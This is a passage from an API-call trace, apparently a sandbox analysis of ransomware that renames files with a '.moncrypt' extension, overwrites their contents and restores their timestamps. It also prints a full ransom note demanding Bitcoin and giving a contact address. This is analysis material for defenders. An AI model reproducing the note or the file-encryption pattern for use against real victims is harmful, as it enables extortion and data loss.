nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0051.174] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.174] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.174] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.174] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.174] GlobalUnlock (hMem=0x440004) returned 0 [0051.174] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.174] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.174] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.174] GlobalUnlock (hMem=0x440004) returned 0 [0051.174] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.174] GlobalUnlock (hMem=0x44000c) returned 0 [0051.174] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.175] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0051.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.175] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 76 [0051.175] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0051.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\COMPASS\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 4 [0051.175] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0051.175] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.175] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.175] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0051.176] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.176] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.moncrypt")) returned 1 [0051.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.177] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.177] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x505f [0051.177] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.177] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.182] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.182] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.182] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.182] GlobalUnlock (hMem=0x440004) returned 0 [0051.182] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0051.182] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.182] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.182] GlobalUnlock (hMem=0x440004) returned 0 [0051.182] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.182] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.182] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.182] GlobalUnlock (hMem=0x44000c) returned 0 [0051.182] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.182] GlobalUnlock (hMem=0x440004) returned 0 [0051.182] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.182] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.182] GlobalUnlock (hMem=0x440004) returned 0 [0051.182] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.182] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.182] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.182] GlobalUnlock (hMem=0x440004) returned 0 [0051.182] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.183] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.183] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.183] SetFilePointer (in: hFile=0x18c, lDistanceToMove=20575, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x505f [0051.183] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.183] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.183] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.194] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.194] CloseHandle (hObject=0x18c) returned 1 [0051.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.195] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.195] CloseHandle (hObject=0x18c) returned 1 [0051.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0051.196] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.196] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.196] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.196] GlobalUnlock (hMem=0x440004) returned 0 [0051.196] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.196] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.196] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.196] GlobalUnlock (hMem=0x440004) returned 0 [0051.196] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.196] GlobalUnlock (hMem=0x44000c) returned 0 [0051.196] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbd7d60, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3fbd7d60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fbfdec0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0051.196] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0051.196] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0051.196] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.197] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.197] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.197] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.197] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.197] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.197] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.197] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0051.197] CloseHandle (hObject=0x18c) returned 1 [0051.197] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0051.197] GetLastError () returned 0x12 [0051.197] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.197] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.197] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.197] GlobalUnlock (hMem=0x44000c) returned 0 [0051.197] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.197] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.197] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.197] GlobalUnlock (hMem=0x44000c) returned 0 [0051.197] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.198] GlobalUnlock (hMem=0x440004) returned 0 [0051.198] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3fbfdec0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fbfdec0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.198] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.198] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.198] GlobalLock (hMem=0x440004) returned 0x550170 [0051.198] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.198] GlobalUnlock (hMem=0x440004) returned 0 [0051.198] GlobalLock (hMem=0x440004) returned 0x550170 [0051.198] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.198] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.198] GlobalUnlock (hMem=0x440004) returned 0 [0051.198] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.198] GlobalUnlock (hMem=0x44000c) returned 0 [0051.198] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.198] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3fbfdec0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fbfdec0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.198] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.198] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.198] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.198] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.198] GlobalUnlock (hMem=0x44000c) returned 0 [0051.198] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.198] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.198] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.198] GlobalUnlock (hMem=0x44000c) returned 0 [0051.198] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.198] GlobalUnlock (hMem=0x440004) returned 0 [0051.199] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.199] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd6d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM.moncrypt", cAlternateFileName="COMPAS~1.MON")) returned 1 [0051.199] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.199] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.199] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.199] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.199] GlobalUnlock (hMem=0x440004) returned 0 [0051.199] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.199] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.199] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.199] GlobalUnlock (hMem=0x440004) returned 0 [0051.199] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.199] GlobalUnlock (hMem=0x44000c) returned 0 [0051.199] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.199] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0051.199] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.199] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.199] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.199] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.199] GlobalUnlock (hMem=0x44000c) returned 0 [0051.199] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.199] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.199] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.199] GlobalUnlock (hMem=0x44000c) returned 0 [0051.199] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.199] GlobalUnlock (hMem=0x440004) returned 0 [0051.199] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.199] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbd7d60, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3fbd7d60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fbfdec0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0051.199] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.199] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.200] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.200] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.200] GlobalUnlock (hMem=0x440004) returned 0 [0051.200] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.200] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.200] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.200] GlobalUnlock (hMem=0x440004) returned 0 [0051.200] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.200] GlobalUnlock (hMem=0x44000c) returned 0 [0051.200] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.200] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, 